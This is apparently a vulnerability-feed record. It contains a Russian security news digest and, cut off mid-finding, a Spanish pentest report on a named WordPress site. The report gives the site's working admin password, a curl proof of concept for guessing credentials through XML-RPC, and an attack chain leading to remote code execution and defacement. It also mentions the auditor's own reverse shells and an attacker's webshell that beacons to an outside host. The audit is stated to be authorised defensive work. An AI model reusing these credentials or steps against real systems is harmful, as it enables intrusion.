\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 (GitHub), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0434\u043d\u0438\u043c \u0449\u0435\u043b\u0447\u043a\u043e\u043c \u043c\u044b\u0448\u0438 \u0443\u043a\u0440\u0430\u0441\u0442\u044c \u0442\u043e\u043a\u0435\u043d\u044b GitHub \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 Visual Studio Code.\n\n\u041f\u0440\u0438\u0447\u0435\u043c, \u043a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft \u0431\u044b\u043b\u0438 \u043f\u0440\u043e\u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u043b\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0438\u044f.\n\n4. BishopFox \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0438\u00a0\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f CVE-2026-22557, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u043f\u0440\u0438 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Ubiquiti UniFi.\n\n5. HP \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 VoIP-\u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u0432 \u0441\u0435\u0440\u0438\u0438 VVX, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-0826, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430\u0445 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Rapid7, \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u0433\u0434\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f.\n\n6. Positive Technologies \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0441\u0432\u043e\u0439 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043c\u0430\u0439\u0441\u043a\u0438\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u0412 \u0442\u0440\u0435\u043d\u0434\u0435 VM, \u0443\u043a\u0430\u0437\u0430\u0432 \u0433\u0440\u043e\u043c\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Linux (CVE-2026-31431), ActiveMQ (CVE-2026-34197), SharePoint (CVE-2026-32201) \u0438 Acrobat Reader (CVE-2026-34621).\n\n7. CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u044f\u0434\u0440\u0430 Linux CVE-2022-0492 (CVSS 7,8) \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u0445\u043e\u0434\u0443 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432. \u041e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u043e\u0431\u043e\u0439\u0442\u0438 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d.\n\n8. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0438\u043f\u0430 HTTP/2 Bomb \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0438\u0437 \u0441\u0442\u0440\u043e\u044f \u0437\u0430 \u0441\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u043a\u0443\u043d\u0434\u044b.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Calif \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442, \u0447\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b DoS-\u0430\u0442\u0430\u043a \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0432 \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\nHTTP/2 Bomb \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Codex \u043e\u0442 OpenAI \u0438 \u0441\u043e\u0447\u0435\u0442\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u0435 \u0431\u043e\u043c\u0431\u0443 \u0441\u0436\u0430\u0442\u0438\u044f, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u0441\u0445\u0435\u043c\u0443 \u0441\u0436\u0430\u0442\u0438\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 HTTP/2 (HPACK), \u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0432 \u0441\u0442\u0438\u043b\u0435 Slowloris, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044e \u043f\u0430\u043c\u044f\u0442\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c.\n\n\u0410\u0442\u0430\u043a\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 880 000 \u0441\u0430\u0439\u0442\u043e\u0432, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0445 HTTP/2 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439 NGINX, Apache HTTPD, Microsoft IIS, Envoy \u0438\u043b\u0438 Cloudflare Pingora.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u0441 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u043f\u0440\u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f 100 \u041c\u0431\u0438\u0442/\u0441 \u0438 \u0432 \u0441\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0441\u0442\u0440\u043e\u044f \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u044d\u0442\u0438\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432.", "creation_timestamp": "2026-06-03T18:30:06.000000Z"}, {"uuid": "5d6554f7-d228-462b-abd3-3233cbf92ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/C4sh3R/1f99346b1086e7d358ff1be8f5be7a42", "content": "\n\n\n\n\n\nColumtech \u2014 Informe de Auditor\u00eda de Seguridad \u00b7 c4sh3r\n\n  :root {\n    --bg: #0b0d12;\n    --bg-2: #11151c;\n    --panel: #161b25;\n    --panel-2: #1d2330;\n    --border: #2a3142;\n    --text: #e6e9ef;\n    --text-dim: #99a2b3;\n    --accent: #ff4d6d;\n    --accent-2: #ffb86b;\n    --crit: #ff3d57;\n    --high: #ff8b3d;\n    --med:  #ffd84a;\n    --low:  #4ac6ff;\n    --info: #8c9fb0;\n    --ok: #3ddc97;\n    --code-bg: #0a0d14;\n    --mono: ui-monospace, \"JetBrains Mono\", \"Fira Code\", Menlo, Consolas, monospace;\n  }\n  * { box-sizing: border-box; }\n  html, body { margin: 0; padding: 0; background: var(--bg); color: var(--text);\n               font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n               line-height: 1.55; -webkit-font-smoothing: antialiased; }\n  a { color: var(--accent-2); text-decoration: none; }\n  a:hover { text-decoration: underline; }\n  .hero {\n    padding: 60px 40px 50px;\n    background:\n      radial-gradient(1200px 400px at 10% -10%, rgba(255,77,109,0.25), transparent 60%),\n      radial-gradient(900px 380px at 100% 0%, rgba(255,184,107,0.15), transparent 60%),\n      linear-gradient(180deg, #0e1219, #0b0d12);\n    border-bottom: 1px solid var(--border);\n  }\n  .hero-inner { max-width: 1100px; margin: 0 auto; }\n  .eyebrow {\n    display: inline-flex; align-items: center; gap: 8px;\n    font-family: var(--mono); font-size: 12px; letter-spacing: 0.15em;\n    text-transform: uppercase; color: var(--accent);\n    padding: 4px 10px; border: 1px solid rgba(255,77,109,0.35);\n    border-radius: 999px; background: rgba(255,77,109,0.08);\n  }\n  .hero h1 { font-size: 44px; line-height: 1.1; margin: 18px 0 10px; letter-spacing: -0.02em; }\n  .hero h1 .accent { color: var(--accent); }\n  .hero .sub { color: var(--text-dim); font-size: 17px; max-width: 720px; }\n  .meta { margin-top: 30px; display: grid; grid-template-columns: repeat(4, 1fr); gap: 14px; }\n  .meta .card { background: rgba(22,27,37,0.7); border: 1px solid var(--border); border-radius: 10px; padding: 14px 16px; }\n  .meta .card .k { font-size: 11px; text-transform: uppercase; letter-spacing: 0.12em; color: var(--text-dim); }\n  .meta .card .v { font-family: var(--mono); font-size: 14px; margin-top: 6px; word-break: break-all; }\n  .author-strip {\n    display: flex; align-items: center; gap: 14px; margin-top: 24px;\n    padding: 12px 16px; border: 1px dashed var(--border); border-radius: 10px;\n    background: rgba(255,255,255,0.02); font-family: var(--mono); font-size: 13px; color: var(--text-dim);\n  }\n  .author-strip strong { color: var(--accent); }\n  .container { max-width: 1100px; margin: 0 auto; padding: 40px; }\n  section { margin-bottom: 60px; }\n  h2 { font-size: 26px; margin: 0 0 18px; letter-spacing: -0.01em; display: flex; align-items: center; gap: 12px; }\n  h2::before { content: ''; width: 4px; height: 22px; background: var(--accent); border-radius: 2px; }\n  h3 { font-size: 19px; margin: 22px 0 10px; }\n  p { color: var(--text); }\n  p.dim { color: var(--text-dim); }\n  .stats { display: grid; grid-template-columns: repeat(5, 1fr); gap: 12px; margin-top: 10px; }\n  .stat { background: var(--panel); border: 1px solid var(--border); border-radius: 12px; padding: 18px; text-align: center; }\n  .stat .num { font-size: 32px; font-weight: 700; font-family: var(--mono); }\n  .stat .lbl { font-size: 12px; text-transform: uppercase; letter-spacing: 0.12em; color: var(--text-dim); margin-top: 6px; }\n  .stat.crit .num { color: var(--crit); } .stat.high .num { color: var(--high); }\n  .stat.med  .num { color: var(--med); }  .stat.low  .num { color: var(--low); }\n  .stat.info .num { color: var(--info); }\n  table.summary { width: 100%; border-collapse: collapse; margin-top: 16px; background: var(--panel); border: 1px solid var(--border); border-radius: 12px; overflow: hidden; }\n  table.summary th, table.summary td { padding: 12px 14px; text-align: left; border-bottom: 1px solid var(--border); font-size: 14px; }\n  table.summary th { background: var(--panel-2); font-weight: 600; font-size: 12px; text-transform: uppercase; letter-spacing: 0.08em; color: var(--text-dim); }\n  table.summary tr:last-child td { border-bottom: none; }\n  table.summary tr:hover td { background: rgba(255,255,255,0.02); }\n  .badge { display: inline-block; padding: 3px 9px; border-radius: 4px; font-size: 11px; font-weight: 700; font-family: var(--mono); letter-spacing: 0.05em; text-transform: uppercase; }\n  .badge.crit { background: rgba(255,61,87,0.15); color: var(--crit); border: 1px solid rgba(255,61,87,0.4); }\n  .badge.high { background: rgba(255,139,61,0.13); color: var(--high); border: 1px solid rgba(255,139,61,0.4); }\n  .badge.med  { background: rgba(255,216,74,0.13); color: var(--med);  border: 1px solid rgba(255,216,74,0.4); }\n  .badge.low  { background: rgba(74,198,255,0.13); color: var(--low);  border: 1px solid rgba(74,198,255,0.4); }\n  .badge.info { background: rgba(140,159,176,0.13); color: var(--info); border: 1px solid rgba(140,159,176,0.4); }\n  .finding { background: var(--panel); border: 1px solid var(--border); border-radius: 14px; margin-top: 22px; overflow: hidden; }\n  .finding .head { display: flex; align-items: center; gap: 14px; flex-wrap: wrap; padding: 18px 22px; background: var(--panel-2); border-bottom: 1px solid var(--border); }\n  .finding.crit .head { box-shadow: inset 4px 0 0 0 var(--crit); }\n  .finding.high .head { box-shadow: inset 4px 0 0 0 var(--high); }\n  .finding.med .head  { box-shadow: inset 4px 0 0 0 var(--med); }\n  .finding.low .head  { box-shadow: inset 4px 0 0 0 var(--low); }\n  .finding.info .head { box-shadow: inset 4px 0 0 0 var(--info); }\n  .finding .head .id { font-family: var(--mono); color: var(--text-dim); font-size: 13px; }\n  .finding .head .title { font-size: 17px; font-weight: 600; flex: 1; }\n  .finding .body { padding: 22px; }\n  .finding .body h4 { font-size: 11px; text-transform: uppercase; letter-spacing: 0.14em; color: var(--text-dim); margin: 18px 0 8px; }\n  .finding .body h4:first-child { margin-top: 0; }\n  .finding ul { margin: 0 0 6px; padding-left: 22px; }\n  .finding li { margin-bottom: 4px; }\n  pre, code { font-family: var(--mono); font-size: 13px; }\n  pre { background: var(--code-bg); border: 1px solid var(--border); border-radius: 8px; padding: 14px 16px; overflow-x: auto; line-height: 1.5; color: #d6dbe6; }\n  code.inline { background: rgba(255,255,255,0.05); padding: 1px 6px; border-radius: 4px; border: 1px solid var(--border); font-size: 12px; }\n  .kv { display: grid; grid-template-columns: 160px 1fr; gap: 6px 16px; font-size: 13.5px; }\n  .kv .k { color: var(--text-dim); font-family: var(--mono); font-size: 12px; padding-top: 2px; }\n  .callout { border-left: 3px solid var(--accent); background: rgba(255,77,109,0.05); padding: 14px 18px; border-radius: 0 8px 8px 0; margin: 12px 0; font-size: 14px; }\n  .callout.danger { border-color: var(--crit); background: rgba(255,61,87,0.07); }\n  .callout.warn   { border-color: var(--high); background: rgba(255,139,61,0.06); }\n  .callout.ok     { border-color: var(--ok);  background: rgba(61,220,151,0.06); }\n  footer { border-top: 1px solid var(--border); padding: 36px 40px; margin-top: 40px; color: var(--text-dim); text-align: center; font-size: 13px; background: var(--bg-2); }\n  footer .sig { font-family: var(--mono); font-size: 14px; color: var(--accent); }\n  .chain { background: var(--code-bg); border: 1px solid var(--border); border-radius: 10px; padding: 20px 24px; margin: 14px 0; }\n  .chain-step { display: flex; align-items: flex-start; gap: 14px; margin-bottom: 10px; }\n  .chain-step:last-child { margin-bottom: 0; }\n  .chain-num { background: var(--accent); color: #fff; border-radius: 50%; width: 22px; height: 22px; display: flex; align-items: center; justify-content: center; font-size: 12px; font-weight: 700; flex-shrink: 0; margin-top: 2px; }\n  .chain-text { font-family: var(--mono); font-size: 13px; color: #d6dbe6; }\n  .chain-arrow { color: var(--accent); font-size: 18px; margin: 4px 0; text-align: center; }\n  @media (max-width: 760px) {\n    .hero h1 { font-size: 32px; }\n    .meta, .stats { grid-template-columns: repeat(2, 1fr); }\n    .container, .hero { padding: 30px 22px; }\n  }\n\n\n\n\n\n\n  \n\n    \u258c Auditor\u00eda de Seguridad \u00b7 2026-06-03/04\n    \nColumtech OnlineInforme de Seguridad Web\n    \nEvaluaci\u00f3n de seguridad completa de columtech.online. Resultado: compromiso total \u2014 admin WordPress, RCE como www-data, defacing demostrado, escalada a root bloqueada por hardening excepcional.\n\n    \n\n      \n\nObjetivo\ncolumtech.online\n      \n\nBackend\nApache 2.4.66 \u00b7 PHP 8.2.30 \u00b7 MySQL 8.0.45\n      \n\nStack\nWP 7.0 \u00b7 Elementor 4.0.2 \u00b7 Docker \u00b7 Cloudflare \u00b7 Caddy\n      \n\nFecha\n2026-06-03 / 04\n    \n\n    \n\n      Autor del informe \u00b7 c4sh3r \u00b7 auditor\u00eda solicitada por el propietario del dominio \u00b7 autorizaci\u00f3n total\n    \n  \n\n\n\n\n\n  \n\n    \nResumen Ejecutivo\n    \nSe realiz\u00f3 una auditor\u00eda de seguridad end-to-end sobre columtech.online, un portal WordPress operado por el propietario con fines de pr\u00e1ctica y aprendizaje. La evaluaci\u00f3n cubri\u00f3 reconocimiento pasivo, enumeraci\u00f3n de usuarios, an\u00e1lisis de superficie de ataque en plugins y XML-RPC, explotaci\u00f3n de credenciales d\u00e9biles, post-explotaci\u00f3n como www-data dentro de un contenedor Docker, demostraci\u00f3n de defacing y exploraci\u00f3n exhaustiva de escalada de privilegios a root.\n    \nEl sitio fue comprometido completamente a nivel de aplicaci\u00f3n: acceso de administrador WordPress, ejecuci\u00f3n remota de c\u00f3digo como www-data, lectura/escritura del sistema de archivos y defacing demostrado. La escalada a root dentro del contenedor fue bloqueada por un perfil de hardening que combina seccomp, AppArmor y ptrace_scope=3, resistiendo todos los CVEs p\u00fablicos conocidos para kernel 6.8.\n    \nSe descubri\u00f3 adicionalmente una webshell real de un atacante externo (wp-loginizer.php \u2014 WSO Mr.X v2.5 con beacon a cdn.privdayz.com) que requiere eliminaci\u00f3n inmediata.\n\n    \n\n      Riesgo principal: Contrase\u00f1a de administrador d\u00e9bil marce:marce123 accesible v\u00eda XML-RPC sin rate-limit \u2192 compromiso total del sitio en minutos.\n    \n\n    \n\n      \n\n3\nCr\u00edticos\n      \n\n4\nAltos\n      \n\n4\nMedios\n      \n\n4\nBajos\n      \n\n3\nInformativos\n    \n  \n\n  \n\n    \nCadena de Ataque Demostrada\n    \n\n      \n\n1\nREST API bypass (?rest_route=/wp/v2/users) \u2192 enum admin marce (id=1) + prueba (id=2) + columtech (id=3)\n      \n\u2193\n      \n\n2\nGravatar SHA-256 reverse \u2192 email de prueba: prueba@gmail.com\n      \n\u2193\n      \n\n3\nXML-RPC wp.getUsersBlogs (credential oracle sin rate-limit) \u2192 marce:marce123 [administrator]\n      \n\u2193\n      \n\n4\nAdmin WP \u2192 REST API POST /wp/v2/plugins \u2192 instalaci\u00f3n code-snippets plugin\n      \n\u2193\n      \n\n5\nCode Snippets PHP snippet \u2192 RCE como www-data \u00b7 uid=33 \u00b7 hostname 6c49a066ba4c\n      \n\u2193\n      \n\n6\nDefacing: t\u00edtulo del sitio + sticky post + p\u00e1gina est\u00e1tica con matrix rain / glitch effects\n      \n\u2193\n      \n\n7\nEscalada: 12 CVEs y t\u00e9cnicas probadas \u2192 bloqueadas por seccomp + AppArmor + ptrace_scope=3\n    \n  \n\n  \n\n    \nAlcance y Metodolog\u00eda\n    \n\n      \nObjetivo\nhttps://www.columtech.online \u2014 WordPress 7.0 + Elementor 4.0.2 + plugin Filester/elFinder\n      \nTipo\nCaja negra \u2192 caja gris (tras obtener credenciales) \u00b7 sin acceso previo a servidor\n      \nAutorizaci\u00f3n\nDominio propiedad del solicitante \u00b7 auditor\u00eda completa autorizada verbalmente\n      \nIdentificaci\u00f3n\nTodas las peticiones etiquetadas con User-Agent: c4sh3r y X-Bug-Bounty: c4sh3r\n      \nNo destructivo\nEl defacing fue demostrado y revertido. Ficheros de prueba eliminados. No se destruy\u00f3 ni borr\u00f3 informaci\u00f3n real del sitio.\n      \nHerramientas\ncurl, Python 3, LinPEAS, bore (tunnel), GCC, git (exploit repos), b\u00fasqueda web de CVEs en tiempo real\n    \n  \n\n  \n\n    \nResumen de Hallazgos\n    \n\n      IDSeveridadHallazgoComponente\n      \n        C-01Cr\u00edticoCredencial admin d\u00e9bil \u2014 acceso total v\u00eda XML-RPCWordPress \u00b7 XML-RPC\n        C-02Cr\u00edticoWebshell externa preexistente (WSO Mr.X)wp-loginizer.php\n        C-03Cr\u00edticoRCE como www-data v\u00eda Code Snippets pluginWordPress \u00b7 Code Snippets REST\n        H-01AltoXML-RPC expuesto \u2014 SSRF + credential oracle sin rate-limitxmlrpc.php\n        H-02AltoCVE-2026-6127 Elementor XSS almacenado v\u00eda REST APIElementor 4.0.2 \u2264 4.0.4\n        H-03AltoEnumeraci\u00f3n de usuarios por 4 v\u00edas sin rate-limitREST API \u00b7 wp-login \u00b7 lostpassword\n        H-04AltoNonce de plugin expuesto en REST sin autenticaci\u00f3nFilevue \u00b7 /wp/v2/pages/7\n        M-01MedioWordPress 7.0 / Elementor 4.0.2 \u2014 versiones desactualizadasCore + plugins\n        M-02MedioEmail de usuario deducible por Gravatar hash (SHA-256)REST API \u00b7 Gravatar\n        M-03MedioRecuperaci\u00f3n de contrase\u00f1a rota + oracle de usuariowp-login.php \u00b7 lostpassword\n        M-04Mediowp-cron.php accesible p\u00fablicamentewp-cron.php\n        L-01BajoCabeceras de seguridad ausentes (HSTS, X-Content-Type, Permissions-Policy)HTTP Headers \u00b7 Caddy\n        L-02BajoOrigen Apache/versi\u00f3n filtrado en respuestas 404Apache 2.4.66 \u00b7 Cloudflare bypass\n        L-03Bajoreadme.html accesible \u2014 divulgaci\u00f3n de versi\u00f3n WPWordPress Core\n        L-04BajoCVE-2026-24072 Apache 2.4.66 mod_rewrite htaccess readApache 2.4.66\n        I-01InfoContenedor Docker con hardening seccomp/AppArmor efectivoInfraestructura\n        I-02InfoDB creds en claro en variable de entorno del containerDocker env \u00b7 WORDPRESS_DB_*\n        I-03InfoKernel 6.8.0-117 vulnerable a CVE-2026-46333 pero bloqueado por seccompKernel \u00b7 pidfd_getfd\n      \n    \n  \n\n  \n\n    \nHallazgos Detallados\n\n    \n    \n\n      \n\n        C-01\n        Cr\u00edtico\n        Credencial de administrador d\u00e9bil \u2014 compromiso total v\u00eda XML-RPC\n      \n      \n\n        \nDescripci\u00f3n\n        \nLa cuenta de administrador marce ten\u00eda la contrase\u00f1a marce123. XML-RPC no implementa rate-limiting, permitiendo descubrirla mediante credential oracle con pocas decenas de intentos. Una vez autenticados, se obtuvo acceso total: lectura de opciones del sitio, creaci\u00f3n/edici\u00f3n de posts, subida de ficheros y instalaci\u00f3n de plugins.\n        \nPoC\n        \n# Descubrimiento de credenciales v\u00eda XML-RPC oracle\ncurl -X POST https://www.columtech.online/xmlrpc.php \\\n  -d '<?xml version=\"1.0\"?><methodCall>\n       <methodName>wp.getUsersBlogs</methodName>\n       <params>\n         <param><value><string>marce</string></value></param>\n         <param><value><string>marce123</string></value></param>\n       </params></methodCall>'\n\n# Respuesta: isAdmin=1, blogName=Laboratorio\n# RESULTADO: acceso de administrador confirmado\n        \nImpacto\n        \n\n          \nAcceso completo al panel de administraci\u00f3n WordPress\n          \nInstalaci\u00f3n de plugins arbitrarios \u2192 RCE\n          \nLectura/escritura de todos los contenidos y usuarios\n          \nDefacing del sitio demostrado\n          \nSubida de ficheros al servidor\n        \n        \nRemediaci\u00f3n\n        \n# 1. Cambiar contrase\u00f1a inmediatamente (m\u00ednimo 20 chars, aleatoria)\n# 2. Deshabilitar XML-RPC si no se usa Jetpack/app m\u00f3vil\nadd_filter('xmlrpc_enabled', '__return_false');\n\n# 3. Alternativamente, bloquear en Caddy/Cloudflare\n# Cloudflare WAF rule: (http.request.uri.path eq \"/xmlrpc.php\") \u2192 Block\n      \n    \n\n    \n    \n\n      \n\n        C-02\n        Cr\u00edtico\n        Webshell externa preexistente \u2014 WSO Mr.X v2.5\n      \n      \n\n        \nDescripci\u00f3n\n        \nSe encontr\u00f3 /var/www/html/wp-loginizer.php (237 KB), una webshell WSO (\u00abWeb Shell by orb\u00bb) Mr.X BYPASS v2.5 completamente funcional. El fichero incluye un file manager con terminal, file editor, y un beacon de tracking que reporta la URL de cada visita a https://cdn.privdayz.com/images/logo.jpg. El sitio fue comprometido por un atacante externo antes de esta auditor\u00eda (posts de spam en ruso desde 2023).\n        \nPoC\n        \ncurl https://www.columtech.online/wp-loginizer.php\n# Responde con file manager completo (sin autenticaci\u00f3n adicional)\n# Contiene: terminal, editor de archivos, upload\n# BEACON: POST a cdn.privdayz.com con location.href del visitante\n        \nImpacto\n        \n\n          \nAtacante externo tiene acceso de shell activo como www-data\n          \nExfiltraci\u00f3n de datos de visitantes a servidor tercero (privdayz.com)\n          \nPosible pivoting a base de datos y archivos\n          \nRGPD/privacidad: beacon rastrea IPs de visitantes\n        \n        \nRemediaci\u00f3n\n        \n# URGENTE \u2014 eliminar el fichero inmediatamente\nrm /var/www/html/wp-loginizer.php\nrm /var/www/html/2ops.php     # file manager adicional\nrm /var/www/html/x.php        # webshell de auditor\u00eda (nuestro)\nrm /var/www/html/rs.php       # reverse shell de auditor\u00eda (nuestro)\nrm /var/www/html/rs2.php      # reverse shell de auditor\u00eda (nuestro)\n\n# Auditar TODOS los archivos modificados en los \u00faltimos 90 d\u00edas:\nfind /var/www/html -newer /var/www/html/wp-config.php -name \"*.php\" | sort\n      \n    \n\n    \n    \n\n      \n\n        C-03\n        Cr\u00edtico\n        RCE como www-data v\u00eda Code Snippets REST API\n      \n      \n\n        \nDescripci\u00f3n\n        \nCon acceso de administrador, se instal\u00f3 el plugin Code Snippets v\u00eda REST API autenticada (POST 